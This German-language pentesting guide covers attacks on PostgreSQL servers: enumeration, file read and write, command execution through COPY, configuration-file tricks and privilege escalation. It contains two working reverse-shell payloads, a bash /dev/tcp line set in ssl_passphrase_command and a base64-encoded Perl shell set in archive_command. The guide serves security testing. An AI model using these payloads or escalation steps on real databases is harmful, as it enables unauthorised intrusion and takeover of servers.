5432,5433 - Pentesting Postgresql
Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden. Heute Zugriff erhalten:
Grundlegende Informationen
PostgreSQL wird als objekt-relationales Datenbanksystem beschrieben, das Open Source ist. Dieses System verwendet nicht nur die SQL-Sprache, sondern erweitert sie auch um zusätzliche Funktionen. Seine Fähigkeiten ermöglichen es, eine Vielzahl von Datentypen und Operationen zu verarbeiten, was es zu einer vielseitigen Wahl für Entwickler und Organisationen macht.
Standardport: 5432, und wenn dieser Port bereits verwendet wird, scheint PostgreSQL den nächsten Port (wahrscheinlich 5433) zu verwenden, der nicht verwendet wird.
Verbinden & Grundlegende Auflistung
Wenn Sie \list
ausführen und eine Datenbank namens rdsadmin
finden, wissen Sie, dass Sie sich in einer AWS PostgreSQL-Datenbank befinden.
Für weitere Informationen darüber, wie man eine PostgreSQL-Datenbank missbrauchen kann, überprüfen Sie:
pagePostgreSQL injectionAutomatische Enumeration
Port Scanning
Gemäß dieser Forschung wirft dblink
eine sqlclient_unable_to_establish_sqlconnection
Ausnahme mit einer Erklärung des Fehlers, wenn ein Verbindungsversuch fehlschlägt. Beispiele für diese Details sind unten aufgeführt.
Host ist nicht erreichbar
DETAIL: konnte keine Verbindung zum Server herstellen: Keine Route zum Host Gibt es den Server mit der IP "1.2.3.4" und akzeptiert er TCP/IP-Verbindungen auf Port 5678?
Port ist geschlossen
Port ist geöffnet
oder
Port ist offen oder gefiltert
In PL/pgSQL-Funktionen ist es derzeit nicht möglich, Ausnahmedetails zu erhalten. Wenn Sie jedoch direkten Zugriff auf den PostgreSQL-Server haben, können Sie die erforderlichen Informationen abrufen. Wenn das Extrahieren von Benutzernamen und Passwörtern aus den Systemtabellen nicht möglich ist, können Sie in Betracht ziehen, die im vorherigen Abschnitt diskutierte Wortlistenangriffsmethode zu verwenden, da dies möglicherweise positive Ergebnisse liefert.
Aufzählung von Berechtigungen
Rollen
Rollentypen | |
---|---|
rolsuper | Rolle hat Superuser-Berechtigungen |
rolinherit | Rolle erbt automatisch Berechtigungen von Rollen, denen sie angehört |
rolcreaterole | Rolle kann weitere Rollen erstellen |
rolcreatedb | Rolle kann Datenbanken erstellen |
rolcanlogin | Rolle kann sich anmelden. Das heißt, diese Rolle kann als initialer Sitzungsberechtigungs-Identifier angegeben werden |
rolreplication | Rolle ist eine Replikationsrolle. Eine Replikationsrolle kann Replikationsverbindungen initiieren und Replikationsslots erstellen und löschen. |
rolconnlimit | Für Rollen, die sich anmelden können, legt dies die maximale Anzahl gleichzeitiger Verbindungen fest, die diese Rolle herstellen kann. -1 bedeutet keine Begrenzung. |
rolpassword | Nicht das Passwort (wird immer als |
rolvaliduntil | Ablaufzeit des Passworts (nur für die Passwortauthentifizierung verwendet); null, wenn kein Ablaufdatum vorhanden ist |
rolbypassrls | Rolle umgeht jede Richtlinie zur Zeilensicherheit, siehe Abschnitt 5.8 für weitere Informationen. |
rolconfig | Rollenspezifische Standardeinstellungen für Laufzeitkonfigurationsvariablen |
oid | ID der Rolle |
Interessante Gruppen
Wenn Sie Mitglied von
pg_execute_server_program
sind, können Sie Programme ausführenWenn Sie Mitglied von
pg_read_server_files
sind, können Sie Dateien lesenWenn Sie Mitglied von
pg_write_server_files
sind, können Sie Dateien schreiben
Beachten Sie, dass in Postgres ein Benutzer, eine Gruppe und eine Rolle dasselbe sind. Es hängt nur davon ab, wie Sie es verwenden und ob Sie es zum Anmelden zulassen.
Tabellen
Funktionen
Dateisystemaktionen
Verzeichnisse und Dateien lesen
Von diesem Commit können Mitglieder der definierten Gruppe DEFAULT_ROLE_READ_SERVER_FILES
(genannt pg_read_server_files
) und Superbenutzer die Methode COPY
auf jedem Pfad verwenden (siehe convert_and_check_filename
in genfile.c
):
Denken Sie daran, dass Sie, wenn Sie kein Superbenutzer sind, aber über die CREATEROLE-Berechtigungen verfügen, sich selbst zu diesem Gruppe hinzufügen können:
Es gibt andere PostgreSQL-Funktionen, die verwendet werden können, um eine Datei zu lesen oder ein Verzeichnis aufzulisten. Nur Superuser und Benutzer mit expliziten Berechtigungen können sie verwenden:
Du kannst weitere Funktionen unter https://www.postgresql.org/docs/current/functions-admin.html finden.
Einfaches Dateischreiben
Nur Superbenutzer und Mitglieder von pg_write_server_files
können copy
zum Schreiben von Dateien verwenden.
Denken Sie daran, dass Sie, wenn Sie kein Superbenutzer sind, aber über die CREATEROLE
-Berechtigungen verfügen, sich als Mitglied dieser Gruppe hinzufügen können:
Denken Sie daran, dass COPY keine Zeilenumbrüche verarbeiten kann, daher müssen Sie selbst bei Verwendung eines Base64-Payloads eine Einzeiler senden.
Eine sehr wichtige Einschränkung dieser Technik ist, dass copy
nicht zum Schreiben binärer Dateien verwendet werden kann, da es einige binäre Werte ändert.
Hochladen von Binärdateien
Es gibt jedoch andere Techniken zum Hochladen großer Binärdateien:
pageBig Binary Files Upload (PostgreSQL)Bug-Bounty-Tipp: Melden Sie sich an bei Intigriti, einer Premium-**Bug-Bounty-Plattform, die von Hackern für Hacker erstellt wurde! Treten Sie uns noch heute bei unter https://go.intigriti.com/hacktricks und beginnen Sie, Prämien von bis zu 100.000 $ zu verdienen!
Aktualisieren von PostgreSQL-Tabellendaten über lokales Schreiben von Dateien
Wenn Sie die erforderlichen Berechtigungen zum Lesen und Schreiben von PostgreSQL-Serverdateien haben, können Sie eine beliebige Tabelle auf dem Server aktualisieren, indem Sie die zugehörige Dateiknoten überschreiben im PostgreSQL-Datenverzeichnis. Mehr zu dieser Technik hier.
Erforderliche Schritte:
PostgreSQL-Datenverzeichnis abrufen
Hinweis: Wenn Sie den aktuellen Datenverzeichnispfad nicht aus den Einstellungen abrufen können, können Sie die Haupt-PostgreSQL-Version über die Abfrage SELECT version()
abfragen und versuchen, den Pfad zu erraten. Häufige Datenverzeichnispfade bei Unix-Installationen von PostgreSQL sind /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/
. Ein häufiger Clustername ist main
. 2. Einen relativen Pfad zum Dateiknoten abrufen, der mit der Ziel-Tabelle verknüpft ist
Diese Abfrage sollte etwas wie base/3/1337
zurückgeben. Der vollständige Pfad auf der Festplatte lautet dann $DATA_DIRECTORY/base/3/1337
, d.h. /var/lib/postgresql/13/main/base/3/1337
. 3. Den Dateiknoten durch die lo_*
-Funktionen herunterladen
Den Datentyp abrufen, der mit der Ziel-Tabelle verknüpft ist
Verwenden Sie den PostgreSQL-Filenode-Editor, um den Dateiknoten zu bearbeiten; setzen Sie alle
rol*
-Booleschen Flags auf 1 für volle Berechtigungen.
(Optional) Löschen Sie den im Arbeitsspeicher befindlichen Tabellencache, indem Sie eine aufwendige SQL-Abfrage ausführen
Sie sollten nun aktualisierte Tabellenwerte in der PostgreSQL sehen.
Sie können auch Superadmin werden, indem Sie die pg_authid
-Tabelle bearbeiten. Siehe den folgenden Abschnitt.
RCE
RCE zum Programm
Seit Version 9.3 können nur Superbenutzer und Mitglieder der Gruppe pg_execute_server_program
COPY für RCE verwenden (Beispiel mit Exfiltration:
Beispiel zum Ausführen:
Denken Sie daran, dass Sie, wenn Sie kein Superbenutzer sind, aber über die CREATEROLE
-Berechtigungen verfügen, sich selbst zu diesem Gruppe hinzufügen können:
Oder verwenden Sie das Modul multi/postgres/postgres_copy_from_program_cmd_exec
von metasploit.
Weitere Informationen zu dieser Schwachstelle finden Sie hier. Während sie als CVE-2019-9193 gemeldet wurde, erklärte Postges, dass dies ein Feature ist und nicht behoben wird.
RCE mit PostgreSQL-Sprachen
pageRCE with PostgreSQL LanguagesRCE mit PostgreSQL-Erweiterungen
Sobald Sie aus dem vorherigen Beitrag gelernt haben, wie Sie binäre Dateien hochladen, könnten Sie versuchen, RCE zu erhalten, indem Sie eine PostgreSQL-Erweiterung hochladen und laden.
pageRCE with PostgreSQL ExtensionsRCE mit PostgreSQL-Konfigurationsdatei
Die folgenden RCE-Vektoren sind besonders nützlich in eingeschränkten SQLi-Kontexten, da alle Schritte durch verschachtelte SELECT-Anweisungen ausgeführt werden können.
Die Konfigurationsdatei von PostgreSQL ist vom postgres-Benutzer beschreibbar, der die Datenbank ausführt, sodass Sie als Superuser Dateien im Dateisystem schreiben können und daher diese Datei überschreiben können.
RCE mit ssl_passphrase_command
Weitere Informationen zu dieser Technik hier.
Die Konfigurationsdatei hat einige interessante Attribute, die zu RCE führen können:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
Pfad zum privaten Schlüssel der Datenbankssl_passphrase_command = ''
Wenn die private Datei durch ein Passwort geschützt ist (verschlüsselt), wird PostgreSQL den Befehl in diesem Attribut ausführen.ssl_passphrase_command_supports_reload = off
Wenn dieses Attribut aktiviert ist, wird der Befehl ausgeführt, wenn der Schlüssel durch ein Passwort geschützt ist, wennpg_reload_conf()
ausgeführt wird.
Dann muss ein Angreifer:
Den privaten Schlüssel vom Server dumpen
Den heruntergeladenen privaten Schlüssel verschlüsseln:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
Überschreiben
Die aktuelle PostgreSQL-Konfiguration dumpen
Die Konfiguration mit den genannten Attributen konfigurieren:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
ssl_passphrase_command_supports_reload = on
pg_reload_conf()
ausführen
Beim Testen habe ich festgestellt, dass dies nur funktioniert, wenn die private Schlüsseldatei die Berechtigungen 640 hat, sie root gehört und von der Gruppe ssl-cert oder postgres (damit der postgres-Benutzer sie lesen kann) und sich in /var/lib/postgresql/12/main befindet.
RCE mit archive_command
Weitere Informationen zu dieser Konfiguration und zu WAL hier.
Ein weiteres Attribut in der Konfigurationsdatei, das ausgenutzt werden kann, ist archive_command
.
Damit dies funktioniert, muss die Einstellung archive_mode
auf 'on'
oder 'always'
gesetzt sein. Wenn dies zutrifft, könnten wir den Befehl in archive_command
überschreiben und ihn über die WAL (write-ahead logging)-Operationen ausführen.
Die allgemeinen Schritte sind:
Überprüfen, ob der Archivmodus aktiviert ist:
SELECT current_setting('archive_mode')
Überschreiben Sie
archive_command
mit dem Payload. Zum Beispiel ein Reverse-Shell:archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
Konfiguration neu laden:
SELECT pg_reload_conf()
Zwingen Sie die WAL-Operation, die Archivierung auszuführen, indem Sie den Archivbefehl aufrufen:
SELECT pg_switch_wal()
oderSELECT pg_switch_xlog()
für einige Postgres-Versionen
RCE mit Preload-Bibliotheken
Weitere Informationen zu dieser Technik hier.
Dieser Angriffsvektor nutzt die folgenden Konfigurationsvariablen aus:
session_preload_libraries
- Bibliotheken, die vom PostgreSQL-Server bei der Clientverbindung geladen werden.dynamic_library_path
- Liste der Verzeichnisse, in denen der PostgreSQL-Server nach den Bibliotheken suchen wird.
Wir können den Wert von dynamic_library_path
auf ein Verzeichnis setzen, das vom postgres
-Benutzer, der die Datenbank ausführt, beschreibbar ist, z. B. das /tmp/
-Verzeichnis, und dort ein bösartiges .so
-Objekt hochladen. Als nächstes zwingen wir den PostgreSQL-Server, unsere neu hochgeladene Bibliothek zu laden, indem wir sie in die Variable session_preload_libraries
aufnehmen.
Die Angriffsschritte sind:
Laden Sie die originale
postgresql.conf
herunterFügen Sie das
/tmp/
-Verzeichnis in den Wert vondynamic_library_path
ein, z. B.dynamic_library_path = '/tmp:$libdir'
Fügen Sie den bösartigen Bibliotheksnamen in den Wert von
session_preload_libraries
ein, z. B.session_preload_libraries = 'payload.so'
Überprüfen Sie die Haupt-PostgreSQL-Version über die Abfrage
SELECT version()
Kompilieren Sie den bösartigen Bibliothekscode mit dem richtigen PostgreSQL-Dev-Paket Beispielcode:
Code kompilieren:
Laden Sie die bösartige
postgresql.conf
, die in den Schritten 2-3 erstellt wurde, herunter und überschreiben Sie die originaleLaden Sie das
payload.so
aus Schritt 5 in das/tmp
-Verzeichnis hochLaden Sie die Serverkonfiguration neu, indem Sie den Server neu starten oder die Abfrage
SELECT pg_reload_conf()
aufrufenBei der nächsten DB-Verbindung erhalten Sie die Reverse-Shell-Verbindung.
Postgres Privilegienerhöhung
CREATEROLE Privilegienerhöhung
Grant
Gemäß den Dokumenten: Rollen mit dem CREATEROLE
-Privileg können Mitgliedschaft in einer Rolle gewähren oder widerrufen, die kein Superuser ist.
Daher können Sie, wenn Sie die Berechtigung CREATEROLE
haben, sich selbst Zugriff auf andere Rollen (die keine Superuser sind) gewähren, was Ihnen die Möglichkeit gibt, Dateien zu lesen und zu schreiben sowie Befehle auszuführen:
Passwort ändern
Benutzer mit dieser Rolle können auch die Passwörter anderer Nicht-Superbenutzer ändern:
Berechtigung zum SUPERUSER erhöhen
Es ist ziemlich üblich festzustellen, dass lokale Benutzer sich bei PostgreSQL anmelden können, ohne ein Passwort anzugeben. Daher können Sie, sobald Sie Berechtigungen zum Ausführen von Code gesammelt haben, diese Berechtigungen missbrauchen, um die SUPERUSER
-Rolle zu erhalten:
Dies ist in der Regel möglich aufgrund der folgenden Zeilen in der Datei pg_hba.conf
:
ALTER TABLE Berechtigungserhöhung
In diesem Bericht wird erklärt, wie es möglich war, eine Berechtigungserhöhung in Postgres GCP durch den Missbrauch des ALTER TABLE-Privilegs, das dem Benutzer gewährt wurde, durchzuführen.
Wenn Sie versuchen, einen anderen Benutzer zum Besitzer einer Tabelle zu machen, sollten Sie einen Fehler erhalten, der dies verhindert, aber anscheinend gab GCP diese Option dem nicht-superuser postgres-Benutzer in GCP:
Wenn man diese Idee mit der Tatsache verbindet, dass bei der Ausführung von INSERT/UPDATE/ANALYZE-Befehlen auf einer Tabelle mit einer Indexfunktion die Funktion als Teil des Befehls mit den Berechtigungen des Tabellenbesitzers aufgerufen wird. Es ist möglich, einen Index mit einer Funktion zu erstellen und einem Superbenutzer die Besitzerberechtigungen für diese Tabelle zu geben, und dann ANALYZE über die Tabelle mit der bösartigen Funktion auszuführen, die Befehle ausführen kann, weil sie die Berechtigungen des Besitzers verwendet.
Ausnutzung
Beginnen Sie damit, eine neue Tabelle zu erstellen.
Fügen Sie irrelevante Inhalte in die Tabelle ein, um Daten für die Indexfunktion bereitzustellen.
Entwickeln Sie eine bösartige Indexfunktion, die einen Codeausführungspayload enthält, der die Ausführung nicht autorisierter Befehle ermöglicht.
Ändern Sie den Besitzer der Tabelle in "cloudsqladmin", der die Superuser-Rolle von GCP ist, die ausschließlich von Cloud SQL verwendet wird, um die Datenbank zu verwalten und zu pflegen.
Führen Sie eine ANALYZE-Operation auf der Tabelle durch. Diese Aktion zwingt den PostgreSQL-Motor, in den Benutzerkontext des Tabellenbesitzers "cloudsqladmin" zu wechseln. Folglich wird die bösartige Indexfunktion mit den Berechtigungen von "cloudsqladmin" aufgerufen, wodurch die Ausführung des zuvor nicht autorisierten Shell-Befehls ermöglicht wird.
In PostgreSQL sieht dieser Ablauf etwa so aus:
Dann wird die Tabelle shell_commands_results
den Output des ausgeführten Codes enthalten:
Lokales Login
Einige fehlerhaft konfigurierte PostgreSQL-Instanzen ermöglichen möglicherweise das Anmelden eines beliebigen lokalen Benutzers. Es ist möglich, sich lokal von 127.0.0.1 aus mit der dblink
-Funktion anzumelden:
Beachten Sie, dass für die vorherige Abfrage zu funktionieren die Funktion dblink
existieren muss. Wenn nicht, könnten Sie versuchen, sie zu erstellen mit
Wenn Sie das Passwort eines Benutzers mit höheren Berechtigungen haben, der jedoch nicht berechtigt ist, sich von einer externen IP-Adresse aus anzumelden, können Sie die folgende Funktion verwenden, um Abfragen als dieser Benutzer auszuführen:
Es ist möglich zu überprüfen, ob diese Funktion existiert mit:
Benutzerdefinierte Funktion mit SECURITY DEFINER
In diesem Bericht konnten Pentester in einer von IBM bereitgestellten Postgres-Instanz eine Privilege-Eskalation durchführen, weil sie diese Funktion mit dem SECURITY DEFINER-Flag gefunden haben:
Wie in den Dokumenten erläutert, wird eine Funktion mit SECURITY DEFINER mit den Berechtigungen des Benutzers ausgeführt, dem sie gehört. Daher kann die Funktion missbraucht werden, um Berechtigungen innerhalb von Postgres zu eskalieren, wenn sie anfällig für SQL-Injektionen ist oder privilegierte Aktionen mit vom Angreifer kontrollierten Parametern ausführt.
In Zeile 4 des obigen Codes ist zu erkennen, dass die Funktion das SECURITY DEFINER-Flag hat.
Und dann Befehle ausführen:
Passwort-Brute-Force mit PL/pgSQL
PL/pgSQL ist eine voll ausgestattete Programmiersprache, die im Vergleich zu SQL eine größere prozedurale Steuerung bietet. Sie ermöglicht die Verwendung von Schleifen und anderen Steuerungsstrukturen, um die Programmlogik zu verbessern. Darüber hinaus können SQL-Anweisungen und Trigger Funktionen aufrufen, die mit der PL/pgSQL-Sprache erstellt wurden. Diese Integration ermöglicht einen umfassenderen und vielseitigeren Ansatz für die Datenbankprogrammierung und Automatisierung. Sie können diese Sprache missbrauchen, um PostgreSQL aufzufordern, die Anmeldeinformationen der Benutzer per Brute-Force zu ermitteln.
pagePL/pgSQL Password BruteforcePrivilege Escalation durch Überschreiben interner PostgreSQL-Tabellen
Der folgende Privilege-Escalation-Vektor ist besonders nützlich in eingeschränkten SQLi-Kontexten, da alle Schritte durch verschachtelte SELECT-Anweisungen ausgeführt werden können.
Wenn Sie PostgreSQL-Serverdateien lesen und schreiben können, können Sie zum Superuser werden, indem Sie den PostgreSQL-On-Disk-Filenode überschreiben, der mit der internen pg_authid
-Tabelle verbunden ist.
Erfahren Sie mehr über diese Technik hier.
Die Angriffsschritte sind:
PostgreSQL-Datenverzeichnis erhalten
Einen relativen Pfad zum Filenode erhalten, der mit der
pg_authid
-Tabelle verbunden istDen Filenode über die
lo_*
-Funktionen herunterladenDen Datentyp erhalten, der mit der
pg_authid
-Tabelle verbunden istVerwenden Sie den PostgreSQL Filenode Editor, um den Filenode zu bearbeiten; setzen Sie alle
rol*
-Booleschen Flags auf 1 für volle Berechtigungen.Laden Sie den bearbeiteten Filenode über die
lo_*
-Funktionen erneut hoch und überschreiben Sie die Originaldatei auf der Festplatte(Optional) Löschen Sie den im Speicher befindlichen Tabellencache, indem Sie eine teure SQL-Abfrage ausführen
Sie sollten nun die Berechtigungen eines vollständigen Superadmins haben.
POST
Protokollierung
Innerhalb der Datei postgresql.conf können Sie die PostgreSQL-Protokolle aktivieren, indem Sie Folgendes ändern:
Dann starten Sie den Dienst neu.
pgadmin
pgadmin ist eine Verwaltungs- und Entwicklungsplattform für PostgreSQL. Sie können Passwörter in der Datei pgadmin4.db finden. Sie können sie mithilfe der decrypt Funktion im Skript entschlüsseln: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
pg_hba
Die Client-Authentifizierung in PostgreSQL wird über eine Konfigurationsdatei namens pg_hba.conf verwaltet. Diese Datei enthält eine Reihe von Einträgen, die jeweils einen Verbindungstyp, einen Client-IP-Adressbereich (falls zutreffend), den Datenbanknamen, den Benutzernamen und die Authentifizierungsmethode zur Übereinstimmung mit Verbindungen angeben. Der erste Eintrag, der mit dem Verbindungstyp, der Client-Adresse, der angeforderten Datenbank und dem Benutzernamen übereinstimmt, wird für die Authentifizierung verwendet. Es gibt kein Zurückfallen oder Backup, wenn die Authentifizierung fehlschlägt. Wenn kein Eintrag übereinstimmt, wird der Zugriff verweigert.
Die verfügbaren passwortbasierten Authentifizierungsmethoden in der pg_hba.conf sind md5, crypt und password. Diese Methoden unterscheiden sich darin, wie das Passwort übertragen wird: MD5-gehasht, crypt-verschlüsselt oder im Klartext. Es ist wichtig zu beachten, dass die crypt-Methode nicht mit Passwörtern verwendet werden kann, die in pg_authid verschlüsselt wurden.
Last updated